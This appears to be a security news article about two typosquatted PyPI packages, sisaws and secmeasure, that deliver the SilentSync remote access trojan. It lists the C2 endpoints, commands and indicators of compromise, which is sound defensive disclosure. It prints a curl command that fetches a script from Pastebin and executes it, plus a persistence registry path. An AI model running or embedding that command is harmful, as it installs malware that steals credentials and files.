Malicious Typosquatted PyPI Packages Spreading SilentSync RAT
On August 4, 2025, Zscaler ThreatLabz uncovered two malicious Python packages—sisaws and secmeasure—that deliver SilentSync, a Python-based remote access trojan (RAT), to unsuspecting developers.
Both packages leverage typosquatting to impersonate legitimate libraries in the Python Package Index (PyPI), posing a serious supply-chain risk to projects that install them.
SilentSync’s versatile capabilities include remote command execution, file exfiltration, screen capture, and web-browser data theft. The malware currently targets Windows systems but contains built-in persistence modules for Linux and macOS.
ThreatLabz’s deep dive reveals that the sisaws package masquerades as the Argentine SISA API wrapper, mimicking modules such as puco and renaper to validate DNIs (Argentina’s National Identity Document) and retrieve structured healthcare responses.
However, its initialization script (init.py) hides a backdoor function, gen_token, guarded by a hardcoded token. When correctly invoked, gen_token forges an API-like response and issues a secondary static token to unlock malware delivery.
Under the hood, gen_token decodes a hex-encoded string to reveal a curl command that fetches helper.py from Pastebin and executes it:
textcurl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py
This script is SilentSync, which begins persistence on Windows by creating a Run key underHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\PyHelper.
The secmeasure package, advertised as a string-sanitization library, shares the same author metadata and initialization backdoor.
Its sanitize_input function deploys the identical hex-encoded curl payload. Legitimate functions such as strip_whitespace, remove_special_chars, and normalize_unicode exist only as decoys; the package even raises NameError exceptions for missing imports to frustrate cursory inspection.
ThreatLabz tracked four releases between August 3 and 4, 2025: secmeasure versions 0.1.0, 0.1.1, 0.1.2, and sisaws version 2.1.6, indicating rapid iterations by the threat actor.
SilentSync decodes its hardcoded C2 IP (200.58.107[.]25) from Base64 at runtime, communicating via HTTP over TCP port 5000. It implements REST endpoints for stepwise operations:
| Endpoint | Function |
|---|---|
| /checkin | Beacon to verify connectivity |
| /comando | Poll for commands |
| /respuesta | Send command results |
| /archivo | Upload stolen files/data |
Supported commands include:
| Command | Description |
|---|---|
| cmd | Execute shell commands |
| get | Exfiltrate files or directories (ZIP-compressed if “/*” suffix used) |
| screenshot | Capture desktop screenshot |
| upload | Notify C2 that a file upload is pending |
| browserdata | Harvest credentials, cookies, history, and autofill from browsers |
Browser data theft is implemented for Chromium-family browsers and Firefox on Windows only. After exfiltration, SilentSync securely deletes local artifacts to evade detection.
The discovery of the sisaws and secmeasure packages underscores the evolving threat of typosquatting in public repositories.
By impersonating legitimate libraries and embedding backdoors that deploy SilentSync RAT, threat actors can infiltrate development environments and harvest sensitive data undetected.
Developers and security teams must adopt stricter package-validation measures—such as checksum verification, reputation-based filtering, and sandboxed testing—before integrating third-party dependencies.
Vigilance and proactive monitoring remain critical to safeguarding the software supply chain against silent, malicious implants.
| MD5 | Name |
|---|---|
| 327233d73236ca4d7c18ffd8f9924127 | Sisaws PyPI package |
| 9a092bbfc5325cbfca2f9807d074616a | Secmeasure PyPI package |
| 3918cace55342909c8309ec37d0207fd | SilentSync RAT |
| https://pastebin[.]com/raw/jaH2uRE1 | Downloading URLl |
| 200.58.107[.]25 | C2 server |
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.
Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…
Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…
Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…
A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…
GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…
Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…